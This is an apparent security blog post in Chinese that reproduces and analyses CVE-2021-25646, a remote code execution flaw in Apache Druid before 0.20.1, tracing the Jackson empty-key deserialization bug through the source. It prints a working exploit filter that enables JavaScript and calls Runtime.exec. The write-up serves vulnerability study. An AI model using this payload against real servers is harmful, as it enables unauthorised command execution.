CVE-2021-25646 Apache Druid 远程代码执行漏洞

2021-03-10 7,036


漏洞简介

Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。

漏洞复现

影响版本:Apache Druid < 0.20.1

下载存在漏洞的 [Apache Druid 0.19.0](https://www.apache.org/dyn/closer.cgi?path=/druid/0.19.0/apache-druid-0.19.0-bin.tar.gz)

tar -xzvf apache-druid-0.19.0-bin.tar.gz
cd apache-druid-0.19.0
./bin/start-micro-quickstart

启动成功之后服务绑定在8888 端口

20210204145334.png


点击 Load data -> Local disk 然后填入   

Base directory: quickstart/tutorial/  

File filter: wikiticker-2015-09-12-sampled.json.gz  

一直点击 next 直到 filter

20210204151128.png

抓取数据包修改 filter 参数

"filter":{
    "type":"javascript",
    "function":"function(value){return java.lang.Runtime.getRuntime().exec('touch /tmp/testing')}",
    "dimension":"added",
    "":{
    "enabled":"true"
    }
}

20210204151735.png


漏洞分析

为了开启 Apache Druid 的 debug 模式,需要设置 Apache Druid 的启动参数,设置文件 `/Desktop/apache-druid-0.19.0/conf/druid/single-server/micro-quickstart/coordinator-overlord/jvm.config` 在其中添加 java debug 的参数  `-agentlib:jdwp=transport=dt_socket,address=5555,server=y,suspend=n`   


20210203135737.png


再次启动 Apache Druid,同时下载[Apache Druid 源代码](https://www.apache.org/dyn/closer.cgi?path=/druid/0.19.0/apache-druid-0.19.0-src.tar.gz)配置 idea 中的远程调试参数

20210203140332.png

就可以进行断点调试分析了

我们可以看到在官方文档中的描述,可以通过设置开启配置,让 Apache Druid 支持执行JavaScript 函数

20210204142037.png


我们可以看到阿里云发布的文章中漏洞利用的关键点为 `JavaScriptDimFilter`

20210204170803.png


大致将漏洞的原理讲清楚了,在默认情况之下 Apache Druid 并不支持执行 JavaScript 函数,但在 Jackson 解析时,会将键名为 " " 的键值解析到没有使用 @JsonProperty 注解传入的参数上,通过将config 的值设定为 enabled = true,设定 Apache Druid 可以执行 JavaScript 函数,进而执行传入的 JavaScript 代码。  


我们定位到解析用用户输入的部分  

`com.fasterxml.jackson.databind.deser.BeanDeserializer#_deserializeUsingPropertyBased`  

20210204173308.png


在解析的过程中,遍历将所有 Json 数据的键名都提取出来,我们重点关注键名为 " " 的处理逻辑,跟进函数 findCreatorProperty

`com.fasterxml.jackson.databind.deser.impl.PropertyBasedCreator#findCreatorProperty(java.lang.String)`

20210204174746.png



在函数 findCreatorProperty 中会根据 `_propertyLookup` 中查找键名对应的属性值

20210204180439.png

当 json 串中的键也为 "",匹配成功,取出JavaScriptConfig对应的creatorProperty  


`org.apache.druid.segment.transform.TransformSpec#TransformSpec`

20210309233447.png


`src/main/java/org/apache/druid/query/filter/DimFilter.java`

20210309231508.png


type 为 javascript 时指定对象为 `JavaScriptDimFilter` 


`org.apache.druid.query.filter.JavaScriptDimFilter#JavaScriptDimFilter(java.lang.String, java.lang.String, org.apache.druid.query.extraction.ExtractionFn, org.apache.druid.query.filter.FilterTuning, org.apache.druid.js.JavaScriptConfig)`

20210309220505.png

 

+ @JsonCreator   该注解用在对象的反序列时指定特定的构造函数或者工厂方法

+ @JacksonInject 在 json 反序列化时将没有的字段设定为我们设置好的值

+ @JsonProperty  用于属性上,将属性的名称序列化为另一个名称


当注解@JsonCreator修饰方法时,方法的所有参数都会被解析成CreatorProterty类型,如果属性没有被@JsonProperty修饰,就会创建一个name为""的CreatorProterty,Jackson会将用户输入的key为""的value赋值给该属性。  

而 config 是没有被 @JsonProperty 所修饰,因此当用户传入的 key 为空的键值对时,`"": { "enabled": true }` , enabled = true 就会被解析至 config 变量上


`org.apache.druid.query.filter.JavaScriptDimFilter.JavaScriptPredicateFactory`

20210309221915.png


JavaScript解析入口  

`org.apache.druid.query.filter.JavaScriptDimFilter.JavaScriptPredicateFactory#applyInContext`

20210309224612.png

参考文章

[阿里云安全获Apache官方致谢 |Apache Druid 远程代码执行漏洞预警(CVE-2021-25646)](https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw)  

[Apache Druid远程代码执行漏洞(CVE-2021-25646)](https://www.studysec.com/#/papers/java/ApacheDruid)   

[Apache Druid RCE分析(CVE-2021-25646)](https://mp.weixin.qq.com/s/m7WLwJX-566WQ29Tuv7dtg)  



本文作者:Whippet

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/154565.html

Tags:
评论  (0)
快来写下你的想法吧!

Whippet

文章数:12 积分: 230

按时吃饭饭

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号